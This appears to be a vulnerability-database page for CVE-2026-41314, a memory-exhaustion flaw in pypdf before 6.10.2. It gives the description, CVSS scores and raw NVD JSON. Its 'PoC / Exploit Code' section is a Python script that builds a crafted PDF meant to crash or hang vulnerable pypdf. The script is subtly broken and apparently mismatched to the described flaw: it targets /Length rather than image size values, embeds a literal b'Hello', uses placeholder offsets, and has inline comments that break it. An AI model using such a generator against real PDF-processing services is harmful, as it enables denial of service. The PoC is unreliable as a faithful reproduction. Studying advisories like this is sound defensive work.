Security Vulnerability Report
中文
CVE-2026-41314 CVSS 6.5 MEDIUM

CVE-2026-41314

Published: 2026-04-22 22:16:32
Last Modified: 2026-04-27 19:29:41

Description

pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to the RAM being exhausted. This requires accessing an image using `/FlateDecode` with large size values. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:* - VULNERABLE
pypdf < 6.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys # Create a minimal PDF with a stream object that has a huge /Length # This targets the pypdf vulnerability where it tries to allocate memory based on /Length pdf_header = b"%PDF-1.4\n" obj_1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" # A stream with a massive length claim (e.g., 10GB) malicious_length = 10000000000 stream_content = b"Hello" # Small actual content obj_2 = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" # The malicious object: An XObject or Image with a FlateDecode stream obj_3_content = f"3 0 obj\n<< /Type /Page /Parent 2 0 R /Resources << /XObject << /Img0 4 0 R >> >> /MediaBox [0 0 612 792] /Contents 5 0 R >>\nendobj\n".encode() # Define object 4 with the malicious stream obj_4 = f"4 0 obj\n<< /Length {malicious_length} /Filter /FlateDecode /Subtype /Image /Width 100 /Height 100 /BitsPerComponent 8 /ColorSpace /DeviceRGB >>\nstream\n{stream_content}\nendstream\nendobj\n".encode() # Dummy content for the page content stream obj_5 = b"5 0 obj\n<< /Length 44 >>\nstream\nBT /Img0 Do ET\nendstream\nendobj\n" # Construct XREF and Trailer (Simplified offsets) xref = b"xref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000265 00000 n \n0000000400 00000 n \n" trailer = b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n475\n%%EOF\n" malicious_pdf = pdf_header + obj_1 + obj_2 + obj_3_content + obj_4 + obj_5 + xref + trailer with open("exploit_pypdf.pdf", "wb") as f: f.write(malicious_pdf) print("Malicious PDF 'exploit_pypdf.pdf' created successfully.") print("Use pypdf < 6.10.2 to parse this file to observe the crash/hang.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41314", "sourceIdentifier": "[email protected]", "published": "2026-04-22T22:16:32.367", "lastModified": "2026-04-27T19:29:40.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to the RAM being exhausted. This requires accessing an image using `/FlateDecode` with large size values. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.10.2", "matchCriteriaId": "337052B5-CF2A-4226-8757-E09AB8B66A82"}]}]}], "references": [{"url": "https://github.com/py-pdf/pypdf/commit/ac734dab4eef92bcce50d503949b4d9887d89f11", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/py-pdf/pypdf/pull/3734", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/py-pdf/pypdf/releases/tag/6.10.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-x284-j5p8-9c5p", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}